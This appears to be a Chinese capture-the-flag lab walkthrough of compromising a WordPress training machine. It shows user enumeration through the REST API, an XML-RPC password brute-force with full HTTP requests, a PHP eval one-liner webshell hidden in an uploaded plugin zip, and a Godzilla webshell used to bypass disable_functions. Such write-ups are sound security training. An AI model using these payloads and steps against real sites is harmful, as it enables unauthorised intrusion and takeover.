靶机信息
可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> WordPress – “花咲雨町”
程序:@WordPress
前端:@花咲雨町
靶机实战
信息收集
# 获取登录用户名
首先从题目信息得知,靶机的应用程序为WordPress。在WordPress上有一个REST API,可以获取到当前WordPress的真实用户名,/wp-json/wp/v2/users
是 WordPress REST API 的一个端点,默认情况下,任何人都可以通过访问这个端点来获取网站的用户列表及其详细信息。
将靶机地址拼接这个REST API,例如:http://node.hackhub.get-shell.com:48774/wp-json/wp/v2/users,访问后可以获取到一串JSON数据。
[
{
"id": 2,
"name": "糸北",
"url": "",
"description": "打破一切.",
"link": "http://192.168.74.11/author/2",
"slug": "webadmin",
"avatar_urls": {
"24": "https://secure.gravatar.com/avatar/7932a5605eef1797bf6cbba8d576526e?s=24&d=mm&r=g",
"48": "https://secure.gravatar.com/avatar/7932a5605eef1797bf6cbba8d576526e?s=48&d=mm&r=g",
"96": "https://secure.gravatar.com/avatar/7932a5605eef1797bf6cbba8d576526e?s=96&d=mm&r=g"
},
"meta": [],
"_links": {
"self": [
{
"href": "http://192.168.74.11/wp-json/wp/v2/users/2",
"targetHints": {
"allow": [
"GET"
]
}
}
],
"collection": [
{
"href": "http://192.168.74.11/wp-json/wp/v2/users"
}
]
}
}
]
其中,“slug”: “webadmin” 表示的就是当前WordPress站点的真实登录用户名,所以获取到了这个站点的真实登录用户名:webadmin
# 寻找登录爆破入口
WordPress 的 xmlrpc.php
文件是一个用于处理外部请求的接口,允许通过 XML-RPC 协议与 WordPress 网站进行通信,允许外部应用程序与 WordPress 进行交互,如发布文章、管理评论、获取统计数据、登录请求
等。
Tips:在默认情况下,一些主题会禁用 xmlrpc.php
这个功能文件(不用这个东西的话可以直接删除这个文件以提升安全性,不影响WordPress的使用),包括本靶机默认情况下也是禁用的,但是为了流程就开起来了。不过在很多的WordPress站点上,这个功能并没有关闭,依然可以利用。
访问 xmlrpc.php
这个文件,发现有回显,可以发送下面的POST数据,查询当前可以使用什么方法。
POST /xmlrpc.php HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: PHPSESSID=mu311op1a8stoiprqrp1td1geh; showed_system_notice=showed; fps_accelerat=116
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Request数据包
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/xml; charset=UTF-8
Date: Mon, 30 Dec 2024 06:58:01 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=4
Pragma: no-cache
Proxy-Connection: keep-alive
Server: nginx
Set-Cookie: PHPSESSID=molf3hpteadsjqvaq2ir3dd7us; path=/
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.deleteFile</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
在发现了 system.multicall
和 wp.getUsersBlogs
这些方法,可以采用 wp.getUsersBlogs
方法来进行爆破登录密码,数据包如下
POST /xmlrpc.php HTTP/1.1
Host: node.hackhub.get-shell.com:48774
Connection: keep-alive
Content-Length: 170
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
可以发现在请求的时候,返回了登录情况
# 爆破密码
利用BurpSuite的Intruder模块对数据包进行爆破,在前面已经获取到了用户名:webadmin,只需要对密码进行爆破即可。进行爆破后发现密码为:admin123
使用获取到的凭据:webadmin / admin123 进行登录,发现成功进行登录!
上传后门
# 制作后门
一般来说,进入后WordPress后台只需要使用 插件 -> 插件文件编辑器 或者 外观 -> 主题文件编辑器 ,就可以直接编辑主题 / 插件的PHP代码,从而实现插入后门。
但是,由于站长在打包环境的时候除了一些问题,导致这俩功能失效了,所以变相增加了难度。不过仍然可以进行实现上传后门。
首先通过WordPress官方网站:WordPress 插件 | WordPress.org China 简体中文,随意下载一个插件压缩包,我这边使用健康检查与故障排除来进行演示。
准备一个一句话木马:<?php eval($_POST["cmd"]); ?>
写入到 shell.php 这个文件,然后将 shell.php
这个文件放入到刚才下载的插件压缩包内。
然后通过 后台 -> 插件 -> 安装新插件,将刚才制作好留有后门的插件压缩包进行插件安装,并且启用插件。然后通过 插件 -> 插件文件编辑器 来查看文件,发现插入的后门已经成功安装进了站点内。
获取Shell
一般来说,WordPress的插件目录在 /wp-content/plugins/
,而当前 shell.php 的文件路径在 health-check/shell.php ,所以后门的路径就是:<url>/wp-content/plugins/health-check/shell.php,例如:http://node.hackhub.get-shell.com:48774/wp-content/plugins/health-check/shell.php
访问到后门文件后,执行函数 phpinfo(),搜索disable_functions,发现了禁用了非常多的系统函数,所以常规方法就不行了,所以得借助一些其他方法来进行绕过disable_functions。
这里使用WebShell工具:哥斯拉(Godzilla)来进行演示,利用工具生成 shell.php,模式选择图中的方法(原理就是利用伪协议 php://input )
然后使用之前相同的办法,将 shell.php 插入到插件安装包中,重新上传插件包并启用,然后访问到shell的路径:<url>/wp-content/plugins/health-check/shell.php
然后使用哥斯拉WebShell工具,将shell.php的路径添加进去,进行连接,连接成功后在根目录发现了 flag文件。
- 最新
- 最热
只看作者